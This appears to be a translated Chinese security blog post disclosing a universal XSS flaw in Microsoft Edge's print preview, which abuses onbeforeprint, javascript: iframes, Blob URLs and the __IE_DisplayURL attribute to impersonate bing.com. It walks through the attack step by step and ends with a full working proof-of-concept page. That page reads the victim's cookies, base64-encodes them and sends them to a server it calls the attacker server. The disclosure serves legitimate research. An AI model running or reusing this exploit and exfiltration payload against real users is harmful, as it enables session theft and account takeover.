导语:UXSS漏洞是浏览器漏洞中非常容易利用的一种漏洞,它能够在网站执行javascript代码,这就像是在所有网站上都有一个XSS的漏洞。更有趣的是我发现这个漏洞的方式,通常的uXSS漏洞都是与iframe元素有关或者和URL有关系,但我没想到我居然发现了一个使用`'print()'`函数的uXSS漏洞。
UXSS漏洞是浏览器漏洞中非常容易利用的一种漏洞,它能够在网站执行Javascript代码,这就像是在所有网站上都有一个XSS的漏洞。更有趣的是我发现这个漏洞的方式,通常的uXSS漏洞都是与IFRAME元素有关或者和URL有关系,但我没想到我居然发现了一个使用'print()'函数的uXSS漏洞。
0x01 打印预览上下文
看一下Edge显示打印预览窗口会发生什么,打印的页面会被复制到一个临时位置并重新渲染, 当'print()'函数在页面中执行时,可以在Process Monitor中看到以下文件系统活动:
在Edge临时目录中创建了一个文件,该文件的内容是我们尝试打印的原始页面的略微修改版本。
比较一下看看,打印前:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
打印后:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META content="text/html; charset=utf-8" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME> <SCRIPT> qbutt.onclick=e=>{ window.print(); } </SCRIPT> </BODY></HTML>
我们可以从这个比较中发现一些区别:
1. Javascript代码被编码了。
2. IFRAME指向同一目录中的另一个本地文件,该文件包含原始bing.com引用的源代码。
3. HTML元素具有 '__IE_DisplayURL'特殊属性。
我做了一些测试,首先试着看看是否仍然可以在编码后获得有效的Javascript,希望可以执行Javascript代码。但事实证明,任何来自script元素内的Javascript代码,无论是有效还是无效,都不会被执行。
可以使用CSS '@media print{}'函数和CSS选择器来提供操作系统用户名,以便从生成的IFRAME href值中获取操作系统用户名。
我发现打印预览上下文依赖于这个属性来知道文档的来源,因为Edge本质上是在'file:'URI方案中打开文件。
但是我们怎么能利用这个属性呢?
0x02 在打印预览中执行Javascript代码
就像我之前说的那样,来自普通SCRIPT标签的任何Javascript都将被阻止或被忽略。
但是其他载体呢?我发现了'onbeforeprint'`,使用它能够注入指向任何网站的IFRAME。所以我马上尝试注入一个指向Javascript URL的IFRAME!特定的Javascript是在打印预览上下文中执行的。
Javascript注入测试:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
打印预览转换后:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV> <SCRIPT> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </SCRIPT> </BODY></HTML>
现在只是让Javascript执行了,由于该属性,任何请求或API都将被视为来自原始文档。
0x03 发现uXSS漏洞
现在已经执行了Javascript,需要以某种方式自定义构建打印预览文档,然后可以模仿选择的任何网站,从而触发uXSS漏洞。 我发现使用Blob URL能够实现这一点!所以我创建了自己的打印文档,其自定义属性指向我的目标网站(在本例中为'bing.com'),它包含一个Javascript IFRAME,它将像'bing.com'本身一样执行。 我注入了以下Javascript代码:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
其中'top.document.getElementById('qd'),value'是以下伪造的“打印文档”:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
读出'document.cookie'并将其发送到服务器。
总结一下漏洞利用的步骤:
1. 使用'onbeforeprint'事件,在打印之前插入一个指向我的Javascript payload的IFRAME。
2. 调用window.print()来发起请求。
3. Edge显示打印预览窗口,同时渲染注入的Javascript 代码。
4. 注入的Javascript创建了一个Blob URL,其中包含我自定义的'bing.com'打印文档,并将顶部框架重定向到此URL。
5. 打印预览上下文被欺骗认为我的Blob URL的内容是合法的打印文档,并通过该'__IE_DisplayURL'属性将文档原点设置为'bing.com' 。
6. 假打印文档包含另一个Javascript IFRAME,只显示'document.cookie''bing.com'。
7. uXSS漏洞利用成功了!
0x04 PoC和利用演示
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html; charset=windows-1252" http-equiv=Content-Type> <BASE HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.onbeforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>